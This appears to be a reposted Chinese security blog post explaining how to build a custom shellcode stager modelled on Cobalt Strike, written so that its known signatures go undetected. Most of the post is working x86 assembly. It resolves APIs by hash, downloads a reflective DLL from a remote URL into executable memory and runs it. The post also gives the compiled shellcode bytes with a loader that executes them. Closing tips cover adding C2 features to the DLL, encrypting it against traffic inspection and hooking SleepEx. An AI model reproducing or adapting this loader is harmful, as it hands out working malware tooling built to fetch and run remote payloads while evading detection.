仿 CobaltStrike 生成 Shellcode
2022-8-12 00:1:48 Author: 橘猫学安全(查看原文) 阅读量:45 收藏

研究CS的人越来越多,指不定捏着多少未公开的特征。与其等用上的时候被检测出来,不如干脆自己整一个。

思路

  • 从PEB中获取DllBase , 找到LoadLibrary , 然后用LoadLibrary去找需要的API:IntelnetOpen 、IntelnetOpenURL..
  • 下载ReflectiveDLL , 拷贝DLL至内存
  • 在内存中找到并调用ReflectLoader装载自身

分析DLLBase

CS的httpStager.bin

解开cobaltstrike.jar,在resources目录中中包含CS的各stager,可以看到读PEB、找API,LoadLibraryA 、InternetOpenA 等函数。

Demo

写的很垃圾,凑合一下吧...

#include <Windows.h>
#include <iostream>
using namespace std;

void _declspec(naked) shellCode() {

 __asm {

  push ebp
  mov ebp, esp
  call fun_payload

 // 从PEB中获取kernel32 或者kernelbase的基址
 fun_GetModule:
  push ebp
  mov ebp, esp
  sub esp, 0xc
  push esi
  mov esi, dword ptr fs : [0x30//PEB指针
  mov esi, [esi + 0xc]   //LDR结构体地址
  mov esi, [esi + 0x1c]   //list
  mov esi, [esi]     //list的第二项 kernel32
  mov esi, [esi + 0x8]   //dllbase
  mov eax, esi     //
  pop esi
  mov esp, ebp
  pop ebp
  retn
 
 // 从DLL中获取函数地址
 fun_GetProcAddr :
  push ebp
  mov ebp, esp
  sub esp, 0x20
  push esi
  push edi
  push edx
  push ebx
  push ecx

  mov edx, [ebp + 0X8]   //传入参数1, DLLBase
  mov esi, [edx + 0x3c]   //lf_anew
  lea esi, [edx + esi]   //Nt头
  mov esi, [esi + 0x78]   //导出表RVA
  lea esi, [edx + esi]   //导出表VA
  mov edi, [esi + 0x1c]   //EAT RVA
  lea edi, [edx + edi]   //EAT VA
  mov[ebp - 0x4], edi    //local variable , EATVA
  mov edi, [esi + 0x20]   //ENT RVA
  lea edi, [edx + edi]   //ENT VA
  mov[ebp - 0x8], edi    //local variable ,ENTVA
  mov edi, [esi + 0x24]   //EOT RVA
  lea edi, [edx + edi]   //EOT VA
  mov[ebp - 0xc], edi    //local variable ,EOTVA
  //比较字符串获取API
  xor eax, eax
  xor ebx, ebx
  cld
  jmp tag_cmpfirst
 tag_cmpLoop :
  inc ebx
 tag_cmpfirst :
  mov esi, [ebp - 0x8]   //ENT
  mov esi, [esi + ebx * 4//RVA, index: ebx 
  lea esi, [edx + esi]   //函数名称字符串
  mov edi, [ebp + 0xc]   //传入参数2,  要查找的目标函数hash

  push esi         //传参
  call fun_GetHashCode   //获取ENT函数名称的哈希值
  cmp edi, eax
  jne tag_cmpLoop

  mov esi, [ebp - 0xc]   //eot
  xor edi, edi       //为了不影响结果清空edi
  mov di, [esi + ebx * 2]  //eat表索引
  mov edx, [ebp - 0x4]   //eat
  mov esi, [edx + edi * 4//函数地址rva
  mov edx, [ebp + 0x8]   //dllbase
  lea eax, [edx + esi]   //funaddr va

  pop ecx
  pop ebx
  pop edx
  pop edi
  pop esi
  mov esp, ebp
  pop ebp
  retn 0x8

 // 计算Hash
 fun_GetHashCode:
  push ebp
  mov ebp, esp
  sub esp, 0X4
  push ecx
  push edx
  push ebx
  mov dword ptr[ebp - 0x4], 0
  mov esi, [ebp + 0x8]
  xor ecx, ecx
 tag_hashLoop :
  xor eax, eax
  mov al, [esi + ecx]
  test al, al
  jz tag_end
  mov ebx, [ebp - 0x4]
  shl ebx, 0x19
  mov edx, [ebp - 0x4]
  shr edx, 0x7
  or ebx, edx
  add ebx, eax
  mov[ebp - 0x4], ebx
  inc ecx          //ecx++
  jmp tag_hashLoop
 tag_end :
  mov eax, [ebp - 0x4]
  pop ebx
  pop edx
  pop ecx
  mov esp, ebp
  pop ebp
  retn 0x4;

  // 计算偏移
 // DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
 fun_Rva2Offset:
  push ebp
  mov ebp, esp
  sub esp, 0x20
  push esi
  push edi
  push edx
  push ebx
  push ecx

  mov esi, [ebp + 0x8]   // 传入参数,uiBaseAddress
  mov edi, [esi + 0x3c]   // lf_anew
  lea edi, [esi + edi]   // Nt头
  lea edi, [edi + 0xf8]   // section headers

  jmp tag_rva2offset_first

 tag_rva2offset_loop:
  add edi, 0x28

 tag_rva2offset_first:
  mov edx, edi
  mov ebx, [edx + 0xc]   // virtualaddress
  mov ecx, [edx + 0x10]   // sizeofrawdata

  cmp [ebp + 0xc], ebx   // rva > virtualaddress
  jl tag_rva2offset_loop  // 不成立就继续循环找 jge jle
  
  add ecx, ebx       // sizeofrawdata + virtualaddress
  cmp [ebp +0xc], ecx    // rva < sizeofrawdata + virtualaddress
  jg  tag_rva2offset_loop  // 不成立就继续循环找

  sub [ebp + 0xc],ebx    // rva - virtualaddress 
  mov ebx,[ebp + 0xc]    // 
  add ebx, [edx + 0x14]   //    + PointerToRawData
  mov eax, ebx       // offset

  pop ecx
  pop ebx
  pop edx
  pop edi
  pop esi
  mov esp, ebp
  pop ebp
  retn 0

  // 获取RefletiveLoader的偏移
 // DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
 fun_GetReflectiveLoaderOffset:
  push ebp
  mov ebp, esp
  sub esp, 0x20
  push esi
  push edi
  push edx
  push ebx
  push ecx
  
  mov edx, [ebp + 0X8]   // 传入参数1, edx, DLLBase
  mov esi, [edx + 0x3c]   // lf_anew
  lea esi, [edx + esi]   // Nt头
  mov esi, [esi + 0x78]   // 导出表RVA
  push esi
  push edx
  call fun_Rva2Offset
  lea esi, [edx + eax]   // esi, 导出表FOA
  mov edi, [esi + 0x1c]   // EAT RVA
  push edi         // rva
  push edx         // dll Base
  call fun_Rva2Offset    // offset
  lea edi, [edx + eax]   // EAT FOA
  mov [ebp - 0x4], edi   // epb-0x4 , EAT FOA

  mov edi, [esi + 0x20]   // ENT RVA
  push edi         // rva
  push edx         // dll Base
  call fun_Rva2Offset    // offset
  lea edi, [edx + eax]   // ENT FOA
  mov [ebp - 0x8], edi   // ebp-0x8 ,ENT FOA

  mov edi, [esi + 0x24]   // EOT RVA
  push edi         // rva
  push edx         // dll Base
  call fun_Rva2Offset    // offset
  lea edi, [edx + eax]   // EOT VA
  mov[ebp - 0xc], edi    // ebp-0xc ,EOT FOA

  //比较字符串获取API
  xor eax, eax
  xor ebx, ebx
  cld
  jmp tag_ref_cmpfirst
 tag_ref_cmpLoop :
  inc ebx
 tag_ref_cmpfirst :
  mov esi, [ebp - 0x8]   // ENT
  mov esi, [esi + ebx * 4// RVA, index: ebx 
  push esi         // rva
  push edx         // dll Base
  call fun_Rva2Offset    // offset
  lea esi, [edx + eax]   // 函数名称字符串 offset
  mov edi, [ebp + 0xc]   // 传入参数2,  要查找的目标函数hash
  push esi         // 传参
  call fun_GetHashCode   // 获取ENT函数名称的哈希值
  cmp edi, eax
  jne tag_ref_cmpLoop
  mov esi, [ebp - 0xc]   // eot
  xor edi, edi       // 为了不影响结果清空edi
  mov di, [esi + ebx * 2]  // eat表索引
  mov edx, [ebp - 0x4]   // eat
  mov esi, [edx + edi * 4// 函数地址rva
  mov edx, [ebp + 0x8]   // dllbase
  push esi         // rva
  push edx         // dll Base
  call fun_Rva2Offset    // offset
  lea eax, [edx + eax]   // funaddr va

  pop ecx
  pop ebx
  pop edx
  pop edi
  pop esi
  mov esp, ebp
  pop ebp
  retn 0x8
      
 //payload
 fun_payload:
  push ebp
  mov ebp, esp
  sub esp, 0x300
  call fun_GetModule
  push 0XC917432      // LoadLibraryA 哈希值
  push eax
  call fun_GetProcAddr
  mov [ebp - 0x4], eax   // LoadLibraryA 地址, Win7下面可能会有问题

  // InternetOpenA   0x4a83880c
  // InternetOpenUrlA   0xf6090295
  // InternetReadFile   0x73260a19
  // Wininet.dll    57 69 6E 69  6E 65 74 2E  64 6C 6C 00

  push 0x6c6c64
  push 0x2e74656e
  push 0x696e6957
  push esp
  call [ebp - 0x4]     // LoadLibrary Wininet.dll
  mov [ebp-0x8], eax    // ebp-0x8 Wininet.dll Base
  
  push 0x4a83880c      // InternetOpenA Hash
  push [ebp-0x8]      // Wininet.dll Base
  call fun_GetProcAddr
  mov [ebp-0xc], eax    // ebp-0xc InternetOpenA
  
  push 0xf6090295      // InternetOpenUrlA Hash
  push [ebp - 0x8]     // Wininet.dll Base
  call fun_GetProcAddr
  mov [ebp - 0x10], eax   // ebp-0x10 InternetOpenUrlA

  push 0x73260a19      // InternetReadFile Hash
  push[ebp - 0x8]      // Wininet.dll Base
  call fun_GetProcAddr
  mov[ebp - 0x14], eax   // ebp-0x14 InternetReadFile

  /*
  hInternetSession = InternetOpen(
    L"tes", // agent
    INTERNET_OPEN_TYPE_PRECONFIG,  // access
    NULL, NULL, 0);

  hURL = InternetOpenUrl(
   hInternetSession,                       // session handle
   L"http://1.1.1.1/1.txt",         // URL to access
   NULL, 0, 0, 0);
  */


  push 0x736574       //ua, tes
  mov eax, esp
  push 0
  push 0
  push 0
  push 0
  push eax         //ua
  call[ebp - 0xc]      // call InternetOpenA
  mov [ebp-0x18], eax    // ebp-0x18 , hInternetSession

  // http://1.1.1.1/1.txt  68 74 74  .... 省略 78 74
  // push 0x747874
  // ...
    // 此处省略为URL, 按小端序插入
   // ...
  // push 0x70747468
  mov eax, esp

  push 0
  push 0
  push 0
  push 0
  push eax
  push [ebp - 0x18]
  call [ebp - 0x10]     // call InternetOpenUrlA
  mov [ebp-0x1c], eax    // ebp-0x1c, hURL

  // VirtualAlloc  Hash 0x1ede5967
  call fun_GetModule
  mov [ebp - 0x20], eax   // ebp-0x20 , Kernel32 or KernelBase DLL Base , 不确定会不会有问题

  push 0x1ede5967      // InternetOpenA Hash
  push [ebp - 0x20]
  call fun_GetProcAddr
  mov[ebp - 0x24], eax   // ebp-0x24 VirtualAlloc
  // LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  push 0x40         // PAGE_EXECUTE_READWRITE
  push 0x00001000      // MEM_COMMIT
  push 0x100000       // 16MB的空间,待优化
  push 0x0         // NULL
  call [ebp-0x24]      // VirtualAlloc 0x1000000
  // 待清空分配空间
  mov [ebp-0x28], eax    // ebp-0x28 VirtualAlloc分配的空间
      
  //InternetReadFile(hURL, buf, (DWORD)sizeof(buf), &dwBytesRead);
  push esp
  push 0x100000        // 要去读的size , 一次性读了16M ,待优化
  push [ebp - 0x28]     // virtualalloc 分配的buff
  push [ebp - 0x1c]     // hURL
  call [ebp - 0x14]     // call InternetReadFile
  // 句柄待关闭,待优化

  // 计算ReflectiveLoader的偏移 [email protected]
  push 0x98BD76A5      // ReflectiveLoader Hash 98BD76A5
  push[ebp - 0x28]   
  call fun_GetReflectiveLoaderOffset
  call eax

  mov esp, ebp
  pop ebp
  ret
 }
}

int main()
{
 printf("begin\n");
 shellCode();
}

https://github.com/Hurn99/ImitateCobaltStrikeShellcode/blob/main/main.cpp

抠出Shellcode执行

#include <Windows.h>
#include <iostream>

int main()
{
    printf("begin");
 char shellcode[] = "\x55\x8B\xEC\xE8\xB7\x01\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\x33\xDB\xFC\xEB\x01\x43\x8B\x75\xF8\x8B\x34\x9E\x8D\x34\x32\x8B\x7D\x0C\x56\xE8\x24\x00\x00\x00\x3B\xF8\x75\xE9\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x5E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\x51\x52\x53\xC7\x45\xFC\x00\x00\x00\x00\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE1\x8B\x45\xFC\x5B\x5A\x59\x8B\xE5\x5D\xC2\x04\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x75\x08\x8B\x7E\x3C\x8D\x3C\x3E\x8D\xBF\xF8\x00\x00\x00\xEB\x03\x83\xC7\x28\x8B\xD7\x8B\x5A\x0C\x8B\x4A\x10\x39\x5D\x0C\x7C\xF0\x03\xCB\x39\x4D\x0C\x7F\xE9\x29\x5D\x0C\x8B\x5D\x0C\x03\x5A\x14\x8B\xC3\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x56\x52\xE8\x9B\xFF\xFF\xFF\x8D\x34\x02\x8B\x7E\x1C\x57\x52\xE8\x8E\xFF\xFF\xFF\x8D\x3C\x02\x89\x7D\xFC\x8B\x7E\x20\x57\x52\xE8\x7E\xFF\xFF\xFF\x8D\x3C\x02\x89\x7D\xF8\x8B\x7E\x24\x57\x52\xE8\x6E\xFF\xFF\xFF\x8D\x3C\x02\x89\x7D\xF4\x33\xC0\x33\xDB\xFC\xEB\x01\x43\x8B\x75\xF8\x8B\x34\x9E\x56\x52\xE8\x53\xFF\xFF\xFF\x8D\x34\x02\x8B\x7D\x0C\x56\xE8\x07\xFF\xFF\xFF\x3B\xF8\x75\xE2\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x5E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x56\x52\xE8\x2A\xFF\xFF\xFF\x8D\x04\x02\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xE8\x3B\xFE\xFF\xFF\x68\x32\x74\x91\x0C\x50\xE8\x50\xFE\xFF\xFF\x89\x45\xFC\x68\x64\x6C\x6C\x00\x68\x6E\x65\x74\x2E\x68\x57\x69\x6E\x69\x54\xFF\x55\xFC\x89\x45\xF8\x68\x0C\x88\x83\x4A\xFF\x75\xF8\xE8\x2A\xFE\xFF\xFF\x89\x45\xF4\x68\x95\x02\x09\xF6\xFF\x75\xF8\xE8\x1A\xFE\xFF\xFF\x89\x45\xF0\x68\x19\x0A\x26\x73\xFF\x75\xF8\xE8\x0A\xFE\xFF\xFF\x89\x45\xEC\x68\x74\x65\x73\x00\x8B\xC4\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x50\xFF\x55\xF4\x89\x45\xE8\x68 此处省略...................URL................................................ \x33\x2E\x31\x32\x68\x32\x30\x2E\x35\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x8B\xC4\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x50\xFF\x75\xE8\xFF\x55\xF0\x89\x45\xE4\xE8\x95\xFD\xFF\xFF\x89\x45\xE0\x68\x67\x59\xDE\x1E\xFF\x75\xE0\xE8\xA5\xFD\xFF\xFF\x89\x45\xDC\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x10\x00\x6A\x00\xFF\x55\xDC\x89\x45\xD8\x54\x68\x00\x00\x10\x00\xFF\x75\xD8\xFF\x75\xE4\xFF\x55\xEC\x68\xA5\x76\xBD\x98\xFF\x75\xD8\xE8\x6C\xFE\xFF\xFF\xFF\xD0\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\x55\x8B\xEC\xB8\x20\x30\x48\x00\x5D\xC3";
    LPVOID lpAlloc = VirtualAlloc(0sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, sizeof shellcode);
    ((void(*)())lpAlloc)();
    //CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpAlloc, NULL, 0, 0);

    return 0;

}

一些补充

  • 测试为弹框,实际一些功能,上线、文件、命令管理等写到DLL里面通过这种方式拉取执行
  • 用的是rdi项目的dll,实际这个可以重写一下,去一些特征.
  • dll可以加密一下,防止流量里面有PE特征.
  • 也可以去hook SleepEx  ,混淆PE
转自:清河六点下班

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247496262&idx=2&sn=7119694a953230c52fefd0f9cf820c80&chksm=c04d7578f73afc6e40698e1d06de98573173a26d6ae11c9c5dc83b982199db5fe29f0e0fce6e#rd
如有侵权请联系:admin#unsafe.sh